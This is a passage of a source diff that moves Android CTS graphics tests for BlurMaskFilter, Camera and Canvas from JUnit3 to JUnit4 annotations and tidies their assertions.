     private static final int BITMAP_WIDTH = 100;
     private static final int BITMAP_HEIGHT = 100;
     private static final int CENTER = BITMAP_HEIGHT / 2;
 
-    public void testBlurMaskFilter(){
+    @Test
+    public void testBlurMaskFilter() {
         BlurMaskFilter filter = new BlurMaskFilter(RADIUS, Blur.NORMAL);
         Paint paint = new Paint();
         paint.setMaskFilter(filter);
@@ -47,33 +53,29 @@
             for (int y = 0; y < CENTER; y++) {
                 if (x < CENTER - OFFSET - RADIUS || y < CENTER - OFFSET - RADIUS) {
                     // check that color didn't bleed (much) beyond radius
-                    checkQuadrants(Color.TRANSPARENT, b, x, y, 5);
+                    verifyQuadrants(Color.TRANSPARENT, b, x, y, 5);
                 } else if (x > CENTER - OFFSET + RADIUS && y > CENTER - OFFSET + RADIUS) {
                     // check that color didn't wash out (much) in the center
-                    checkQuadrants(Color.RED, b, x, y, 5);
+                    verifyQuadrants(Color.RED, b, x, y, 5);
                 } else {
                     // check blur zone, color should remain, alpha varies
-                    checkQuadrants(Color.RED, b, x, y, 255);
+                    verifyQuadrants(Color.RED, b, x, y, 255);
                 }
             }
         }
     }
 
-    private void checkQuadrants(int color, Bitmap bitmap, int x, int y, int alphaTolerance) {
+    private void verifyQuadrants(int color, Bitmap bitmap, int x, int y, int alphaTolerance) {
         int right = bitmap.getWidth() - 1;
         int bottom = bitmap.getHeight() - 1;
-        try {
-            checkColor(color, bitmap.getPixel(x, y), alphaTolerance);
-            checkColor(color, bitmap.getPixel(right - x, y), alphaTolerance);
-            checkColor(color, bitmap.getPixel(x, bottom - y), alphaTolerance);
-            checkColor(color, bitmap.getPixel(right - x, bottom - y), alphaTolerance);
-        } catch (Error e) {
-            Log.w(getClass().getName(), "Failed for coordinates (" + x + ", " + y + ")");
-            throw e;
-        }
+
+        verifyColor(color, bitmap.getPixel(x, y), alphaTolerance);
+        verifyColor(color, bitmap.getPixel(right - x, y), alphaTolerance);
+        verifyColor(color, bitmap.getPixel(x, bottom - y), alphaTolerance);
+        verifyColor(color, bitmap.getPixel(right - x, bottom - y), alphaTolerance);
     }
 
-    private void checkColor(int expected, int actual, int alphaTolerance) {
+    private void verifyColor(int expected, int actual, int alphaTolerance) {
         assertEquals(Color.red(expected), Color.red(actual));
         assertEquals(Color.green(expected), Color.green(actual));
         assertEquals(Color.blue(expected), Color.blue(actual));
diff --git a/tests/tests/graphics/src/android/graphics/cts/BlurMaskFilter_BlurTest.java b/tests/tests/graphics/src/android/graphics/cts/BlurMaskFilter_BlurTest.java
index 77d2ffa..bdc44af 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BlurMaskFilter_BlurTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BlurMaskFilter_BlurTest.java
@@ -15,12 +15,21 @@
  */
 package android.graphics.cts;
 
-import junit.framework.TestCase;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+
 import android.graphics.BlurMaskFilter;
 import android.graphics.BlurMaskFilter.Blur;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class BlurMaskFilter_BlurTest extends TestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class BlurMaskFilter_BlurTest {
+    @Test
     public void testValueOf(){
         assertEquals(Blur.NORMAL, Blur.valueOf("NORMAL"));
         assertEquals(Blur.SOLID, Blur.valueOf("SOLID"));
@@ -28,14 +37,15 @@
         assertEquals(Blur.INNER, Blur.valueOf("INNER"));
     }
 
+    @Test
     public void testValues(){
-        Blur[] bulr = Blur.values();
+        Blur[] blur = Blur.values();
 
-        assertEquals(4, bulr.length);
-        assertEquals(Blur.NORMAL, bulr[0]);
-        assertEquals(Blur.SOLID, bulr[1]);
-        assertEquals(Blur.OUTER, bulr[2]);
-        assertEquals(Blur.INNER, bulr[3]);
+        assertEquals(4, blur.length);
+        assertEquals(Blur.NORMAL, blur[0]);
+        assertEquals(Blur.SOLID, blur[1]);
+        assertEquals(Blur.OUTER, blur[2]);
+        assertEquals(Blur.INNER, blur[3]);
 
         //Blur is used as a argument here for all the methods that use it
         assertNotNull(new BlurMaskFilter(10.24f, Blur.INNER));
diff --git a/tests/tests/graphics/src/android/graphics/cts/CameraTest.java b/tests/tests/graphics/src/android/graphics/cts/CameraTest.java
index a28d6ff..61b6422 100644
--- a/tests/tests/graphics/src/android/graphics/cts/CameraTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/CameraTest.java
@@ -15,33 +15,56 @@
  */
 package android.graphics.cts;
 
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+
 import android.graphics.Camera;
 import android.graphics.Canvas;
 import android.graphics.Matrix;
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class CameraTest extends AndroidTestCase {
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class CameraTest {
     private Camera mCamera;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setup() {
         mCamera = new Camera();
     }
 
-    public void testCamera(){
+    @Test
+    public void testCamera() {
         new Camera();
     }
 
+    @Test
     public void testRestore() {
         // we cannot get the state changed because it was a native method
         mCamera.save();
         mCamera.restore();
     }
 
+    @Test
+    public void testMatrixPreCompare() {
+        Matrix m = new Matrix();
+        mCamera.getMatrix(m);
+        float[] f = new float[9];
+        m.getValues(f);
+        assertArrayEquals(new float[] {
+            1.0f, 0.0f, 0.0f, 0.0f, 1.0f, 0.0f, 0.0f, 0.0f, 1.0f
+        }, f, 0.0f);
+    }
+
+    @Test
     public void testTranslate() {
         Matrix m1 = new Matrix();
-        preCompare(m1);
 
         mCamera.translate(10.0f, 28.0f, 2008.0f);
         Matrix m2 = new Matrix();
@@ -50,20 +73,14 @@
 
         float[] f = new float[9];
         m2.getValues(f);
-        assertEquals(0.22291021f, f[0]);
-        assertEquals(0.0f, f[1]);
-        assertEquals(2.2291021f, f[2]);
-        assertEquals(0.0f, f[3]);
-        assertEquals(0.22291021f, f[4]);
-        assertEquals(-6.241486f, f[5]);
-        assertEquals(0.0f, f[6]);
-        assertEquals(0.0f, f[7]);
-        assertEquals(1.0f, f[8]);
+        assertArrayEquals(new float[] {
+                0.22291021f, 0.0f, 2.2291021f, 0.0f, 0.22291021f, -6.241486f, 0.0f, 0.0f, 1.0f
+        }, f, 0.0f);
     }
 
+    @Test
     public void testRotateX() {
         Matrix m1 = new Matrix();
-        preCompare(m1);
 
         mCamera.rotateX(90.0f);
         Matrix m2 = new Matrix();
@@ -72,20 +89,14 @@
 
         float[] f = new float[9];
         m2.getValues(f);
-        assertEquals(1.0f, f[0]);
-        assertEquals(0.0f, f[1]);
-        assertEquals(0.0f, f[2]);
-        assertEquals(0.0f, f[3]);
-        assertEquals(0.0f, f[4]);
-        assertEquals(0.0f, f[5]);
-        assertEquals(0.0f, f[6]);
-        assertEquals(-0.0017361111f, f[7]);
-        assertEquals(1.0f, f[8]);
+        assertArrayEquals(new float[] {
+                1.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, -0.0017361111f, 1.0f
+        }, f, 0.0f);
     }
 
+    @Test
     public void testRotateY() {
         Matrix m1 = new Matrix();
-        preCompare(m1);
 
         mCamera.rotateY(90.0f);
         Matrix m2 = new Matrix();
@@ -94,20 +105,14 @@
 
         float[] f = new float[9];
         m2.getValues(f);
-        assertEquals(0.0f, f[0]);
-        assertEquals(0.0f, f[1]);
-        assertEquals(0.0f, f[2]);
-        assertEquals(0.0f, f[3]);
-        assertEquals(1.0f, f[4]);
-        assertEquals(0.0f, f[5]);
-        assertEquals(0.0017361111f, f[6]);
-        assertEquals(0.0f, f[7]);
-        assertEquals(1.0f, f[8]);
+        assertArrayEquals(new float[] {
+                0.0f, 0.0f, 0.0f, 0.0f, 1.0f, 0.0f, 0.0017361111f, 0.0f, 1.0f
+        }, f, 0.0f);
     }
 
+    @Test
     public void testRotateZ() {
         Matrix m1 = new Matrix();
-        preCompare(m1);
 
         mCamera.rotateZ(90.0f);
         Matrix m2 = new Matrix();
@@ -116,17 +121,37 @@
 
         float[] f = new float[9];
         m2.getValues(f);
-        assertEquals(0.0f, f[0]);
-        assertEquals(1.0f, f[1]);
-        assertEquals(0.0f, f[2]);
-        assertEquals(-1.0f, f[3]);
-        assertEquals(0.0f, f[4]);
-        assertEquals(0.0f, f[5]);
-        assertEquals(0.0f, f[6]);
-        assertEquals(0.0f, f[7]);
-        assertEquals(1.0f, f[8]);
+        assertArrayEquals(new float[] {
+                0.0f, 1.0f, 0.0f, -1.0f, 0.0f, 0.0f, 0.0f, 0.0f, 1.0f
+        }, f, 0.0f);
     }
 
+    @Test
+    public void testRotate() {
+        Matrix m1 = new Matrix();
+
+        mCamera.rotate(15.0f, 30.0f, 45.0f);
+        Matrix m2 = new Matrix();
+        mCamera.getMatrix(m2);
+        assertFalse(m1.equals(m2));
+
+        float[] f = new float[9];
+        m2.getValues(f);
+        assertArrayEquals(new float[] {
+                0.6123724f, 0.6123724f, 0.0f, -0.5915063f, 0.774519f, 0.0f, 0.0009106233f,
+                0.00027516257f, 1.0f
+        }, f, 0.0f);
+    }
+
+    @Test
+    public void testLocationAccessors() {
+        mCamera.setLocation(10.0f, 20.0f, 30.0f);
+        assertEquals(10.0f, mCamera.getLocationX(), 0.0f);
+        assertEquals(20.0f, mCamera.getLocationY(), 0.0f);
+        assertEquals(30.0f, mCamera.getLocationZ(), 0.0f);
+    }
+
+    @Test
     public void testApplyToCanvas() {
         Canvas c1 = new Canvas();
         mCamera.applyToCanvas(c1);
@@ -136,26 +161,11 @@
         mCamera.getMatrix(m);
         c2.concat(m);
 
-        assertTrue(c1.getMatrix().equals(c2.getMatrix()));
+        assertEquals(c1.getMatrix(), c2.getMatrix());
     }
 
+    @Test
     public void testDotWithNormal() {
-        assertEquals(0.0792f, mCamera.dotWithNormal(0.1f, 0.28f, 0.2008f));
+        assertEquals(0.0792f, mCamera.dotWithNormal(0.1f, 0.28f, 0.2008f), 0.0f);
     }
-
-    private void preCompare(Matrix m) {
-        mCamera.getMatrix(m);
-        float[] f = new float[9];
-        m.getValues(f);
-        assertEquals(1.0f, f[0]);
-        assertEquals(0.0f, f[1]);
-        assertEquals(0.0f, f[2]);
-        assertEquals(0.0f, f[3]);
-        assertEquals(1.0f, f[4]);
-        assertEquals(0.0f, f[5]);
-        assertEquals(0.0f, f[6]);
-        assertEquals(0.0f, f[7]);
-        assertEquals(1.0f, f[8]);
-    }
-
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/CanvasTest.java b/tests/tests/graphics/src/android/graphics/cts/CanvasTest.java
index dee217b..b36c23a 100644
--- a/tests/tests/graphics/src/android/graphics/cts/CanvasTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/CanvasTest.java
@@ -15,46 +15,61 @@
  */
 package android.graphics.cts;
 
-import javax.microedition.khronos.opengles.GL;
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
 
 import android.content.res.Resources;
 import android.graphics.Bitmap;
+import android.graphics.Bitmap.Config;
 import android.graphics.BitmapFactory;
+import android.graphics.BitmapShader;
 import android.graphics.Canvas;
-import android.util.DisplayMetrics;
+import android.graphics.Canvas.EdgeType;
+import android.graphics.Canvas.VertexMode;
+import android.graphics.Color;
+import android.graphics.ComposeShader;
 import android.graphics.DrawFilter;
 import android.graphics.Matrix;
 import android.graphics.Paint;
 import android.graphics.Path;
+import android.graphics.Path.Direction;
 import android.graphics.Picture;
+import android.graphics.PorterDuff.Mode;
+import android.graphics.RadialGradient;
 import android.graphics.Rect;
 import android.graphics.RectF;
-import android.graphics.Region;
-import android.graphics.Bitmap.Config;
-import android.graphics.Canvas.EdgeType;
-import android.graphics.Canvas.VertexMode;
-import android.graphics.Path.Direction;
-import android.graphics.PorterDuff.Mode;
 import android.graphics.Region.Op;
-import android.test.InstrumentationTestCase;
+import android.graphics.Shader;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.SpannableString;
 import android.text.SpannableStringBuilder;
 import android.text.SpannedString;
+import android.util.DisplayMetrics;
 
-import android.graphics.cts.R;
+import com.android.compatibility.common.util.ColorUtils;
 
+import java.io.IOException;
+import java.io.InputStream;
 import java.util.Vector;
 
-public class CanvasTest extends InstrumentationTestCase {
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class CanvasTest {
     private final static int PAINT_COLOR = 0xff00ff00;
     private final static int BITMAP_WIDTH = 10;
     private final static int BITMAP_HEIGHT = 28;
     private final static int FLOAT_ARRAY_LEN = 9;
 
-    private final Rect mRect = new Rect(0, 0, 10, 31);
-
-    private final RectF mRectF = new RectF(0, 0, 10, 31);
-
     // used for save related methods tests
     private final float[] values1 = {
             1, 2, 3, 4, 5, 6, 7, 8, 9
@@ -69,14 +84,12 @@
     private Bitmap mImmutableBitmap;
     private Bitmap mMutableBitmap;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
+    @Before
+    public void setup() {
         mPaint = new Paint();
         mPaint.setColor(PAINT_COLOR);
 
-        final Resources res = getInstrumentation().getTargetContext().getResources();
+        final Resources res = InstrumentationRegistry.getTargetContext().getResources();
         BitmapFactory.Options opt = new BitmapFactory.Options();
         opt.inScaled = false; // bitmap will only be immutable if not scaled during load
         mImmutableBitmap = BitmapFactory.decodeResource(res, R.drawable.start, opt);
@@ -85,77 +98,114 @@
         mCanvas = new Canvas(mMutableBitmap);
     }
 
-    public void testCanvas1() {
-        final Canvas c = new Canvas();
-    }
-
-    public void testCanvas2() {
-        // abnormal case: bitmap to be constructed is immutable
-        try {
-            new Canvas(mImmutableBitmap);
-            fail("should throw out IllegalStateException when creating Canvas with an ImmutableBitmap");
-        } catch (IllegalStateException e) {
-            // expected
-        }
-
-        // abnormal case: bitmap to be constructed is recycled
-        mMutableBitmap.recycle();
-        try {
-            new Canvas(mMutableBitmap);
-            fail("should throw out RuntimeException when creating Canvas with a"
-                     + " MutableBitmap which is recycled");
-        } catch (RuntimeException e) {
-            // expected
-        }
+    @Test
+    public void testCanvas() {
+        new Canvas();
 
         mMutableBitmap = Bitmap.createBitmap(BITMAP_WIDTH, BITMAP_HEIGHT, Config.ARGB_8888);
         new Canvas(mMutableBitmap);
     }
 
-    public void testSetBitmap() {
-        // abnormal case: bitmap to be set is immutable
-        try {
-            mCanvas.setBitmap(mImmutableBitmap);
-            fail("should throw out IllegalStateException when setting an "
-                    + "ImmutableBitmap to a Canvas");
-        } catch (IllegalStateException e) {
-            // expected
-        }
+    @Test(expected=IllegalStateException.class)
+    public void testCanvasFromImmutableBitmap() {
+        // Should throw out IllegalStateException when creating Canvas with an ImmutableBitmap
+        new Canvas(mImmutableBitmap);
+    }
 
-        // abnormal case: bitmap to be set has been recycled
+    @Test(expected=RuntimeException.class)
+    public void testCanvasFromRecycledBitmap() {
+        // Should throw out RuntimeException when creating Canvas with a MutableBitmap which
+        // is recycled
         mMutableBitmap.recycle();
-        try {
-            mCanvas.setBitmap(mMutableBitmap);
-            fail("should throw out RuntimeException when setting Bitmap which is recycled"
-                          + " to a Canvas");
-        } catch (RuntimeException e) {
-            // expected
-        }
+        new Canvas(mMutableBitmap);
+    }
 
+    @Test(expected=IllegalStateException.class)
+    public void testSetBitmapToImmutableBitmap() {
+        // Should throw out IllegalStateException when setting an ImmutableBitmap to a Canvas
+        mCanvas.setBitmap(mImmutableBitmap);
+    }
+
+    @Test(expected=RuntimeException.class)
+    public void testSetBitmapToRecycledBitmap() {
+        // Should throw out RuntimeException when setting Bitmap which is recycled to a Canvas
+        mMutableBitmap.recycle();
+        mCanvas.setBitmap(mMutableBitmap);
+    }
+
+    @Test
+    public void testSetBitmap() {
         mMutableBitmap = Bitmap.createBitmap(BITMAP_WIDTH, 31, Config.ARGB_8888);
         mCanvas.setBitmap(mMutableBitmap);
         assertEquals(BITMAP_WIDTH, mCanvas.getWidth());
         assertEquals(31, mCanvas.getHeight());
     }
 
+    @Test
+    public void testSetBitmapFromEmpty() {
+        Canvas canvas = new Canvas();
+        assertEquals(0, canvas.getWidth());
+        assertEquals(0, canvas.getHeight());
+
+        // now ensure that we can "grow" the canvas
+
+        Bitmap normal = Bitmap.createBitmap(10, 10, Config.ARGB_8888);
+        canvas.setBitmap(normal);
+        assertEquals(10, canvas.getWidth());
+        assertEquals(10, canvas.getHeight());
+
+        // now draw, and check that the clip was "open"
+        canvas.drawColor(0xFFFF0000);
+        assertEquals(0xFFFF0000, normal.getPixel(5, 5));
+    }
+
+    @Test
+    public void testSetBitmapCleanClip() {
+        mCanvas.setBitmap(Bitmap.createBitmap(10, 10, Config.ARGB_8888));
+        Rect r = new Rect(2, 2, 8, 8);
+        mCanvas.save();
+        mCanvas.clipRect(r);
+        assertEquals(r, mCanvas.getClipBounds());
+
+        // "reset" the canvas, and then check that the clip is wide open
+        // and not the previous value
+
+        mCanvas.setBitmap(Bitmap.createBitmap(20, 20, Config.ARGB_8888));
+        r = new Rect(0, 0, 20, 20);
+        assertEquals(r, mCanvas.getClipBounds());
+    }
+
+    @Test
+    public void testSetBitmapSaveCount() {
+        Canvas c = new Canvas(Bitmap.createBitmap(10, 10, Config.ARGB_8888));
+        int initialSaveCount = c.getSaveCount();
+
+        c.save();
+        assertEquals(c.getSaveCount(), initialSaveCount + 1);
+
+        // setBitmap should restore the saveCount to its original/base value
+        c.setBitmap(Bitmap.createBitmap(10, 10, Config.ARGB_8888));
+        assertEquals(c.getSaveCount(), initialSaveCount);
+    }
+
+    @Test
     public void testIsOpaque() {
         assertFalse(mCanvas.isOpaque());
     }
 
-    public void testRestore() {
-        // abnormal case: save not called before restore
-        try {
-            mCanvas.restore();
-            fail("should throw out IllegalStateException because cannot restore Canvas"
-                            + " before save");
-        } catch (IllegalStateException e) {
-            // expected
-        }
+    @Test(expected=IllegalStateException.class)
+    public void testRestoreWithoutSave() {
+        // Should throw out IllegalStateException because cannot restore Canvas before save
+        mCanvas.restore();
+    }
 
+    @Test
+    public void testRestore() {
         mCanvas.save();
         mCanvas.restore();
     }
 
+    @Test
     public void testSave1() {
         final Matrix m1 = new Matrix();
         m1.setValues(values1);
@@ -170,20 +220,17 @@
         final Matrix m3 = mCanvas.getMatrix();
         m3.getValues(values3);
 
-        for (int i = 0; i < FLOAT_ARRAY_LEN; i++) {
-            assertEquals(values2[i], values3[i]);
-        }
+        assertArrayEquals(values2, values3, 0.0f);
 
         mCanvas.restore();
         final float[] values4 = new float[FLOAT_ARRAY_LEN];
         final Matrix m4 = mCanvas.getMatrix();
         m4.getValues(values4);
 
-        for (int i = 0; i < FLOAT_ARRAY_LEN; i++) {
-            assertEquals(values1[i], values4[i]);
-        }
+        assertArrayEquals(values1, values4, 0.0f);
     }
 
+    @Test
     public void testSave2() {
         // test save current matrix only
         Matrix m1 = new Matrix();
@@ -199,18 +246,14 @@
         Matrix m3 = mCanvas.getMatrix();
         m3.getValues(values3);
 
-        for (int i = 0; i < FLOAT_ARRAY_LEN; i++) {
-            assertEquals(values2[i], values3[i]);
-        }
+        assertArrayEquals(values2, values3, 0.0f);
 
         mCanvas.restore();
         float[] values4 = new float[FLOAT_ARRAY_LEN];
         Matrix m4 = mCanvas.getMatrix();
         m4.getValues(values4);
 
-        for (int i = 0; i < FLOAT_ARRAY_LEN; i++) {
-            assertEquals(values1[i], values4[i]);
-        }
+        assertArrayEquals(values1, values4, 0.0f);
 
         // test save current clip only, don't know how to get clip saved,
         // but can make sure Matrix can't be saved in this case
@@ -227,18 +270,14 @@
         m3 = mCanvas.getMatrix();
         m3.getValues(values3);
 
-        for (int i = 0; i < FLOAT_ARRAY_LEN; i++) {
-            assertEquals(values2[i], values3[i]);
-        }
+        assertArrayEquals(values2, values3, 0.0f);
 
         mCanvas.restore();
         values4 = new float[FLOAT_ARRAY_LEN];
         m4 = mCanvas.getMatrix();
         m4.getValues(values4);
 
-        for (int i = 0; i < FLOAT_ARRAY_LEN; i++) {
-            assertEquals(values2[i], values4[i]);
-        }
+        assertArrayEquals(values2, values4, 0.0f);
 
         // test save everything
         m1 = new Matrix();
@@ -254,20 +293,17 @@
         m3 = mCanvas.getMatrix();
         m3.getValues(values3);
 
-        for (int i = 0; i < FLOAT_ARRAY_LEN; i++) {
-            assertEquals(values2[i], values3[i]);
-        }
+        assertArrayEquals(values2, values3, 0.0f);
 
         mCanvas.restore();
         values4 = new float[FLOAT_ARRAY_LEN];
         m4 = mCanvas.getMatrix();
         m4.getValues(values4);
 
-        for (int i = 0; i < FLOAT_ARRAY_LEN; i++) {
-            assertEquals(values1[i], values4[i]);
-        }
+        assertArrayEquals(values1, values4, 0.0f);
     }
 
+    @Test
     public void testSaveFlags1() {
         int[] flags = {
             Canvas.MATRIX_SAVE_FLAG,
@@ -275,6 +311,7 @@
         verifySaveFlagsSequence(flags);
     }
 
+    @Test
     public void testSaveFlags2() {
         int[] flags = {
             Canvas.CLIP_SAVE_FLAG,
@@ -282,6 +319,7 @@
         verifySaveFlagsSequence(flags);
     }
 
+    @Test
     public void testSaveFlags3() {
         int[] flags = {
             Canvas.ALL_SAVE_FLAG,
@@ -291,6 +329,7 @@
         verifySaveFlagsSequence(flags);
     }
 
+    @Test
     public void testSaveFlags4() {
         int[] flags = {
             Canvas.ALL_SAVE_FLAG,
@@ -300,6 +339,7 @@
         verifySaveFlagsSequence(flags);
     }
 
+    @Test
     public void testSaveFlags5() {
         int[] flags = {
             Canvas.MATRIX_SAVE_FLAG,
@@ -312,6 +352,7 @@
         verifySaveFlagsSequence(flags);
     }
 
+    @Test
     public void testSaveFlags6() {
         int[] flags = {
             Canvas.CLIP_SAVE_FLAG,
@@ -324,6 +365,7 @@
         verifySaveFlagsSequence(flags);
     }
 
+    @Test
     public void testSaveFlags7() {
         int[] flags = {
             Canvas.MATRIX_SAVE_FLAG,
@@ -336,6 +378,7 @@
         verifySaveFlagsSequence(flags);
     }
 
+    @Test
     public void testSaveFlags8() {
         int[] flags = {
             Canvas.MATRIX_SAVE_FLAG,
@@ -352,6 +395,7 @@
     // state across the matching restore call boundary. This is a vanilla
     // test and doesn't exercise any interaction between the clip stack
     // and SkCanvas' deferred save/restore system.
+    @Test
     public void testSaveFlags9() {
         Rect clip0 = new Rect();
         assertTrue(mCanvas.getClipBounds(clip0));
@@ -382,6 +426,7 @@
     // This test exercises the saveLayer MATRIX_SAVE_FLAG flag and its
     // interaction with the clip stack and SkCanvas deferred save/restore
     // system.
+    @Test
     public void testSaveFlags10() {
         RectF rect1 = new RectF(0, 0, BITMAP_WIDTH / 2, BITMAP_HEIGHT);
         RectF rect2 = new RectF(0, 0, BITMAP_WIDTH, BITMAP_HEIGHT / 2);
@@ -459,6 +504,7 @@
         assertEquals(clip9, clip0);
     }
 
+    @Test
     public void testSaveLayer1() {
         final Paint p = new Paint();
         final RectF rF = new RectF(0, 10, 31, 0);
@@ -477,21 +523,16 @@
         Matrix m3 = mCanvas.getMatrix();
         m3.getValues(values3);
 
-        for (int i = 0; i < FLOAT_ARRAY_LEN; i++) {
-            assertEquals(values2[i], values3[i]);
-        }
+        assertArrayEquals(values2, values3, 0.0f);
 
         mCanvas.restore();
         float[] values4 = new float[FLOAT_ARRAY_LEN];
         Matrix m4 = mCanvas.getMatrix();
         m4.getValues(values4);
 
-        for (int i = 0; i < FLOAT_ARRAY_LEN; i++) {
-            assertEquals(values1[i], values4[i]);
-        }
+        assertArrayEquals(values1, values4, 0.0f);
 
-        // test save current clip only, don't know how to get clip saved,
-        // but can make sure Matrix can't be saved in this case
+        // test save current clip flag only: this should save matrix as well
         m1 = new Matrix();
         m1.setValues(values1);
         mCanvas.setMatrix(m1);
@@ -505,18 +546,14 @@
         m3 = mCanvas.getMatrix();
         m3.getValues(values3);
 
-        for (int i = 0; i < FLOAT_ARRAY_LEN; i++) {
-            assertEquals(values2[i], values3[i]);
-        }
+        assertArrayEquals(values2, values3, 0.0f);
 
         mCanvas.restore();
         values4 = new float[FLOAT_ARRAY_LEN];
         m4 = mCanvas.getMatrix();
         m4.getValues(values4);
 
-        for (int i = 0; i < FLOAT_ARRAY_LEN; i++) {
-            assertEquals(values2[i], values4[i]);
-        }
+        assertArrayEquals(values1, values4, 0.0f);
 
         // test save everything
         m1 = new Matrix();
@@ -532,20 +569,17 @@
         m3 = mCanvas.getMatrix();
         m3.getValues(values3);
 
-        for (int i = 0; i < FLOAT_ARRAY_LEN; i++) {
-            assertEquals(values2[i], values3[i]);
-        }
+        assertArrayEquals(values2, values3, 0.0f);
 
         mCanvas.restore();
         values4 = new float[FLOAT_ARRAY_LEN];
         m4 = mCanvas.getMatrix();
         m4.getValues(values4);
 
-        for (int i = 0; i < FLOAT_ARRAY_LEN; i++) {
-            assertEquals(values1[i], values4[i]);
-        }
+        assertArrayEquals(values1, values4, 0.0f);
     }
 
+    @Test
     public void testSaveLayer2() {
         final Paint p = new Paint();
 
@@ -563,21 +597,16 @@
         Matrix m3 = mCanvas.getMatrix();
         m3.getValues(values3);
 
-        for (int i = 0; i < FLOAT_ARRAY_LEN; i++) {
-            assertEquals(values2[i], values3[i]);
-        }
+        assertArrayEquals(values2, values3, 0.0f);
 
         mCanvas.restore();
         float[] values4 = new float[FLOAT_ARRAY_LEN];
         Matrix m4 = mCanvas.getMatrix();
         m4.getValues(values4);
 
-        for (int i = 0; i < FLOAT_ARRAY_LEN; i++) {
-            assertEquals(values1[i], values4[i]);
-        }
+        assertArrayEquals(values1, values4, 0.0f);
 
-        // test save current clip only, don't know how to get clip saved,
-        // but can make sure Matrix can't be saved in this case
+        // test save current clip flag only: this should save matrix as well
         m1 = new Matrix();
         m1.setValues(values1);
         mCanvas.setMatrix(m1);
@@ -591,18 +620,14 @@
         m3 = mCanvas.getMatrix();
         m3.getValues(values3);
 
-        for (int i = 0; i < FLOAT_ARRAY_LEN; i++) {
-            assertEquals(values2[i], values3[i]);
-        }
+        assertArrayEquals(values2, values3, 0.0f);
 
         mCanvas.restore();
         values4 = new float[FLOAT_ARRAY_LEN];
         m4 = mCanvas.getMatrix();
         m4.getValues(values4);
 
-        for (int i = 0; i < FLOAT_ARRAY_LEN; i++) {
-            assertEquals(values2[i], values4[i]);
-        }
+        assertArrayEquals(values1, values4, 0.0f);
 
         // test save everything
         m1 = new Matrix();
@@ -618,20 +643,17 @@
         m3 = mCanvas.getMatrix();
         m3.getValues(values3);
 
-        for (int i = 0; i < FLOAT_ARRAY_LEN; i++) {
-            assertEquals(values2[i], values3[i]);
-        }
+        assertArrayEquals(values2, values3, 0.0f);
 
         mCanvas.restore();
         values4 = new float[FLOAT_ARRAY_LEN];
         m4 = mCanvas.getMatrix();
         m4.getValues(values4);
 
-        for (int i = 0; i < FLOAT_ARRAY_LEN; i++) {
-            assertEquals(values1[i], values4[i]);
-        }
+        assertArrayEquals(values1, values4, 0.0f);
     }
 
+    @Test
     public void testSaveLayerAlpha1() {
         final RectF rF = new RectF(0, 10, 31, 0);
 
@@ -649,21 +671,16 @@
         Matrix m3 = mCanvas.getMatrix();
         m3.getValues(values3);
 
-        for (int i = 0; i < FLOAT_ARRAY_LEN; i++) {
-            assertEquals(values2[i], values3[i]);
-        }
+        assertArrayEquals(values2, values3, 0.0f);
 
         mCanvas.restore();
         float[] values4 = new float[FLOAT_ARRAY_LEN];
         Matrix m4 = mCanvas.getMatrix();
         m4.getValues(values4);
 
-        for (int i = 0; i < FLOAT_ARRAY_LEN; i++) {
-            assertEquals(values1[i], values4[i]);
-        }
+        assertArrayEquals(values1, values4, 0.0f);
 
-        // test save current clip only, don't know how to get clip saved,
-        // but can make sure Matrix can't be saved in this case
+        // test save current clip flag only: this should save matrix as well
         m1 = new Matrix();
         m1.setValues(values1);
         mCanvas.setMatrix(m1);
@@ -677,18 +694,14 @@
         m3 = mCanvas.getMatrix();
         m3.getValues(values3);
 
-        for (int i = 0; i < FLOAT_ARRAY_LEN; i++) {
-            assertEquals(values2[i], values3[i]);
-        }
+        assertArrayEquals(values2, values3, 0.0f);
 
         mCanvas.restore();
         values4 = new float[FLOAT_ARRAY_LEN];
         m4 = mCanvas.getMatrix();
         m4.getValues(values4);
 
-        for (int i = 0; i < FLOAT_ARRAY_LEN; i++) {
-            assertEquals(values2[i], values4[i]);
-        }
+        assertArrayEquals(values1, values4, 0.0f);
 
         // test save everything
         m1 = new Matrix();
@@ -704,20 +717,17 @@
         m3 = mCanvas.getMatrix();
         m3.getValues(values3);
 
-        for (int i = 0; i < FLOAT_ARRAY_LEN; i++) {
-            assertEquals(values2[i], values3[i]);
-        }
+        assertArrayEquals(values2, values3, 0.0f);
 
         mCanvas.restore();
         values4 = new float[FLOAT_ARRAY_LEN];
         m4 = mCanvas.getMatrix();
         m4.getValues(values4);
 
-        for (int i = 0; i < FLOAT_ARRAY_LEN; i++) {
-            assertEquals(values1[i], values4[i]);
-        }
+        assertArrayEquals(values1, values4, 0.0f);
     }
 
+    @Test
     public void testSaveLayerAlpha2() {
         // test save current matrix only
         Matrix m1 = new Matrix();
@@ -733,21 +743,16 @@
         Matrix m3 = mCanvas.getMatrix();
         m3.getValues(values3);
 
-        for (int i = 0; i < FLOAT_ARRAY_LEN; i++) {
-            assertEquals(values2[i], values3[i]);
-        }
+        assertArrayEquals(values2, values3, 0.0f);
 
         mCanvas.restore();
